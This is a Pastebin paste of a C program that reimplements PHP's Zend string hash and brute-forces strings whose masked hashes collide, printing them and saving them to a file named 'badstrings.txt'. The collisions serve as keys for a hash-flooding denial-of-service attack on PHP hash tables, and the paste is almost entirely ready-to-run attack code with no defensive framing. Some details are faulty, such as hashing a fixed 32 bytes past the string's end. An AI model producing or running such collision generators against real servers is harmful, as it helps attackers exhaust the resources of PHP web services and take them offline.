Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stddef.h>
- #include <stdio.h>
- #include <string.h>
- #include <stdint.h>
- #include <limits.h>
- #define MASK 0x4fff
- unsigned long zend_inline_hash_func(char *arKey, unsigned int nKeyLength, unsigned long hash)
- {
- //register unsigned long hash = 5381;
- /* variant with the hash unrolled eight times */
- for (; nKeyLength >= 8; nKeyLength -= 8) {
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- hash = ((hash << 5) + hash) + *arKey++;
- }
- switch (nKeyLength) {
- case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
- case 1: hash = ((hash << 5) + hash) + *arKey++; break;
- case 0: break;
- //EMPTY_SWITCH_DEFAULT_CASE()
- }
- return hash;
- }
- int incstr(char* str, int n)
- {
- char* chars;
- char* c;
- char d;
- chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";
- if(str[n] == '0') {
- if(n == 0) return 1;
- str[n] = 'q';
- incstr(str, n-1);
- return 0;
- };
- d = (char)(str[n]);
- c = strchr(chars, d);
- str[n] = *(c + 1);
- return 0;
- };
- int main(int argc, char** argv)
- {
- char* prelude;
- char* chars;
- int prelen;
- unsigned long prehash, phs, h, i, coll;
- int c;
- int outlen, quiet, pipe;
- FILE* f;
- union {
- //uint64_t num;
- char str[32];
- } x;
- outlen = 4;
- quiet = 0;
- pipe = 0;
- if(pipe) {
- quiet = 1;
- f = stdout;
- } else {
- f = fopen("badstrings.txt", "wb");
- }
- //prelude = "fuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphpfuckphp";
- prelude = "";
- prelen = strlen(prelude);
- // 5381 is one of php's copious non-macroed magic numbers scattered throughout the source
- prehash = zend_inline_hash_func(prelude, prelen, 5381);
- phs = prehash & MASK;
- //printf("%lu",prehash); return 0;
- coll = 0;
- for(i = 0; i < 31; i++)
- x.str[i] = 'q';
- x.str[outlen+1] = 0;
- c = 0;
- while(1) {
- h = zend_inline_hash_func(x.str, 32, prehash) & MASK;
- if(h == phs) {
- coll++;
- printf("%ld: %s\n", coll, x.str);
- fprintf(f, "%s%s\n", prelude, x.str);
- } else {
- //if(!(i % 1000000))
- //printf("none: %lu - %.32s\n", h, x.str);
- }
- if(coll > MASK + 3) break;
- if(incstr(x.str, outlen)) break;
- }
- if(!quiet) printf("\n\ncollisions: %d\n", (int) coll);
- if(!pipe) fclose(f);
- return 0;
- };
Add Comment
Please, Sign In to add comment